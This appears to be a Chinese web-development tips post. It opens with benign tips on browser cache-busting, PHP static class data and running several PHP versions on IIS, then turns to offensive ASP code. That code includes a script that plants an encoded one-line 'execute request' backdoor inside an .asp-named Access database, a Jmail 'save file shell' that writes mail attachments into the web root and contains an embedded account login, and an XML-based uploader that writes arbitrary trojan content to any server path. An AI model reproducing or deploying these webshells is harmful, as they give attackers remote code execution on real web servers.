有时候我不希望浏览器使用缓存加快网页de显示,尤其是那些论坛之类de频繁更新内容de网页,在网上有说可以使用下面de方法来屏蔽缓存,但是我试了效果不好.
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
某日我突发奇想,找到了一种在任何情况下都会显示最新de网页内容de方法,描述如下:
请将网页de链接改为:
http://xxx.yyy.zzz/page.php?rand=XXXXXXX
其中http://xxx.yyy.zzz/page.php是您de网页,rand是一个您不会用到deQurey字串,XXXXXXX是一个随机字串.
也就是说,只要在链接deUrl加入了一个不会影响网页de内容de随机字串,从而使得每次访问该网页deUrl都不同,从而可以使浏览器不使用缓存中已有de该网页,而使每次显示de都是最新de内容.
类de另类用法–数据de封装
一般de情况下,如果使用classname::property是不能访问到类de属性de,但可以用classname::method()使用类de方法.同样de也不能用objectname->property访问到类de方法里de变量.利用这一特点,我可以将一些数据保存于类中,有点象c de私有属性.
<?
class data {
function value($var) {
static $d = array();
if(func_num_args() > 1) {
$d[$var] = func_get_arg(1);
}else {
return $d[$var];
}
}
}
//测试:
data::value("a",1);
data::value("b",2);
echo data::value("a");
echo data::value("b");
?>
有时候,我需要在WINDOWS服务器中安装多个不同版本dePHP环境,或采用不同dephp.ini配置,例如在使用中国E商务网deIONCUBE系统对PHP程序进行加密后,要在php.ini中设置加载选项目,但这个选项和zend加密程序解释器不能同时存在,如果在服务器中有另外程序采用ZEND加密de话,就非常可惜.
如果能在WINDOWS服务器中装多套PHP,使用不同dePHP.INI就可以解决这样de问题.但是如果采用正规de方法要重新编译PHP,比较麻烦.我最近已经研究成功,采用另一种方式来安装多个PHP:
首先安装一套PHP,采用默认方式,装在c:php ,安装后,php.ini一般自动复制到c:winnt下.
将winnt下dephp.ini用Ctrl c和 Ctrl V方式复制到c:php下,这时候您可以用PHPINFO()查看php.inide路径,已经自动变成c:/php/php.ini 了.
接着,就可以安装第二套PHP,最好换个磁盘,安装在d:php,安装时,PHP又会把php.ini拷贝在c:winnt下,只要如法炮制将其拷贝到d:php下就可以了.
然后,在IIS -> 主目录->配置中,可以为不同站点指定不同dePHP运行文件就可以了.
采用此方法安装两套PHP后,对系统资源并没有特别de影响,经测试,系统运行正常.
<%
‘code by netpatch
dim dbfile,sql
db=”netpatch.asp”
dbfile=server.MapPath(db)
set ydb=server.CreateObject(”ADOX.Catalog”)
ydb.Create “Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & ” 创建成功<br> ”
else
Response.Write “创建失败,原因: ” & err.description
Response.End
end if
Set Conn = Server.CreateObject(”ADODB.Connection”)
Conn.Open “Provider=Microsoft.Jet.OLEDB.4.0; Data Source=” & dbfile
sql=”CREATE TABLE fdata([data] Memo)”
conn.execute(sql)
Set rs = CreateObject(”ADODB.RecordSet”)
rs.Open “FData”, conn, 1, 3
rs.addnew
rs(”data”)=”┼攠數畣整爠煥敵瑳∨≮┩>” ‘(注释记得去掉!一句话后门 execute request(“n”))
rs.update
%>
用Jmail写文件进硬盘
<%
‘codz by kEvin1986 [S4T]
User=Request.Form(”User”)
Pass=Request.Form(”Pass”)
Popserver=Request.Form(”Popserver”)
if User<>”" and Pass<>”" and Popserver<>”" then
Set objmail = CreateObject( “JMail.POP3″ )
objmail.Connect User, Pass, Popserver
set objmsg=CreateObject(”jmail.message”)
Set objmsg = objmail.Messages.item(1)
separator = “, ”
response.write “Attachment Name is: ” & SaveAtta & “<br>”
objmail.Disconnect
End if
Function SaveAtta()
Set Attachments = objmsg.Attachments
separator = “, ”
response.write “The size of this Attachment is: ” & objmsg.size & “<br>”
For i = 0 To Attachments.Count - 1
If i = Attachments.Count - 1 Then
separator = “”
End If
Set Theatta = Attachments(i)
response.write Theatta.Name
Theatta.SaveToFile(Server.Mappath(”.”) & “\” & Theatta.Name)
Response.write “Oh!Hey Guy…..That’s OK!”
Next
End Function
%>
<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method=”POST”>
User: <input name=”User” type=text value=”kevin1986″><br>
Pass: <input name=”Pass” type=text value=”1986lovinghuan”><br>
POP3: <input name=”Popserver” type=text value=”pop.163.com”><br>
<input type=submit value=”Get the Attachments Of the First Mail”>
</Form>
</Center>
</Body>
</Html>
利用xml写马
<%on error resume next%>
<form id=”form1″ name=”form1″ method=”post” action=””>
<p>木马内容</p>
<p><textarea name=”flashboy” cols=”80″ rows=”10″></textarea></p>
<p>路径</p>
<p><input name=”textfield” type=”text” size=”50″ /></p>
<p><input type=”submit” name=”Submit” value=”提交” /></p></form>
<p><%Response.write “本文件绝对路径”%>
<%=server.mappath(Request.ServerVariables(”SCRIPT_NAME”))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request(”flashboy”)
set xmlDoc = server.createObject(”Msxml2.DOMDocument”)
xmlDoc.loadXml(xmlString)
f=Request(”textfield”)
xmlDoc.save(f)
set xmlDoc=nothing
%>
